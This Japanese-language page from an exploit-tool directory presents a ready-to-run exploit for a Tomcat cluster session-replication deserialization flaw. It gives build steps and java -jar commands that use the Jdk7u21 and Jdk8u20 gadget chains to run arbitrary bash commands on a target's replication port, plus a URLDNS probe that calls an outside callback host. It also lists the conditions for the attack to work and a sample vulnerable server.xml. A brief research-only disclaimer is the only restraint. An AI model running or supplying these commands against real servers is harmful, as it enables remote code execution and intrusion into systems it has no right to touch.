Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
tomcat-cluster-session-sync-exp — tomcatが内蔵のsession同期機能を使用している場合、安全でない設定(EncryptInterceptorを使用していない)により存在する逆シリアル化脆弱性。巧妙に細工されたデータパケットを使って、tomcat内蔵のsession同期機能を使用しているサーバーに攻撃を仕掛けることができます。PS:これはCVE-2020-9484ではありません。9484はsession永続化の穴で、こちらはsessionクラスタ同期の穴です! | Kitploit
ツール/GitHubGitHub/threedr3am/tomcat-cluster-session-sync-exp
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubthreedr3am/tomcat-cluster-session-sync-exp

tomcat-cluster-session-sync-exp

tomcatが内蔵のsession同期機能を使用している場合、安全でない設定(EncryptInterceptorを使用していない)により存在する逆シリアル化脆弱性。巧妙に細工されたデータパケットを使って、tomcat内蔵のsession同期機能を使用しているサーバーに攻撃を仕掛けることができます。PS:これはCVE-2020-9484ではありません。9484はsession永続化の穴で、こちらはsessionクラスタ同期の穴です!

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
214376年前Kitploit レビュー済み

ツールはセキュリティ研究および内部自己確認のみに使用し、不正な攻撃に使用することは禁止します。使用によって生じた結果は利用者が負うものとします。

tomcat cluster sync-session 利用exp

これは、Tomcatが内蔵のセッション同期機能を使用している際に、安全でない設定(EncryptInterceptorを使用していない)によって存在するデシリアライゼーションの脆弱性であり、巧妙に細工されたデータパケットを使用して、Tomcat内蔵のセッション同期機能を使用しているサーバーを攻撃することができます。

使用法

まずjarパッケージをコンパイルします:

root@kitploit:~
mvn clean compile assembly:assembly

生成されたjarパッケージはtargetディレクトリに存在します。

使用例:

root@kitploit:~
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk7u21 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk8u20 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 URLDNS "http://tomcat.xxxxx.ceye.io"

条件

  1. Tomcatがセッション同期を有効にしており、EncryptInterceptorが設定されていない。
  2. JDKのバージョンがjdk8u20、jdk7u21より低い(間違っているかもしれません)。
  3. 同期エンドポイントにアクセス可能であること(通常は内部ネットワーク)。

tomcat-session同期設定

(conf/server.xml):

root@kitploit:~
<Server>
    ...
    
    <Service>
        ...
        
        <Engine>
            ...
            
            <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
                    channelSendOptions="6">
            
                    <Manager className="org.apache.catalina.ha.session.BackupManager"
                      expireSessionsOnShutdown="false"
                      notifyListenersOnReplication="true"
                      mapSendOptions="6"/>
            
            
                    <Channel className="org.apache.catalina.tribes.group.GroupChannel">
                      <Membership className="org.apache.catalina.tribes.membership.McastService"
                        address="228.0.0.4"
                        port="45564"
                        frequency="500"
                        dropTime="3000"/>
                      <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                        address="123.123.123.123"
                        port="5000"
                        selectorTimeout="100"
                        maxThreads="6"/>
            
                      <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
                        <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
                      </Sender>
                    </Channel>
            
                    <Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
                      filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
            
                    <Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
                      tempDir="/tmp/war-temp/"
                      deployDir="/tmp/war-deploy/"
                      watchDir="/tmp/war-listen/"
                      watchEnabled="false"/>
            
                    <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
            </Cluster>
        </Engine>
  </Service>
</Server>
ツールをダウンロード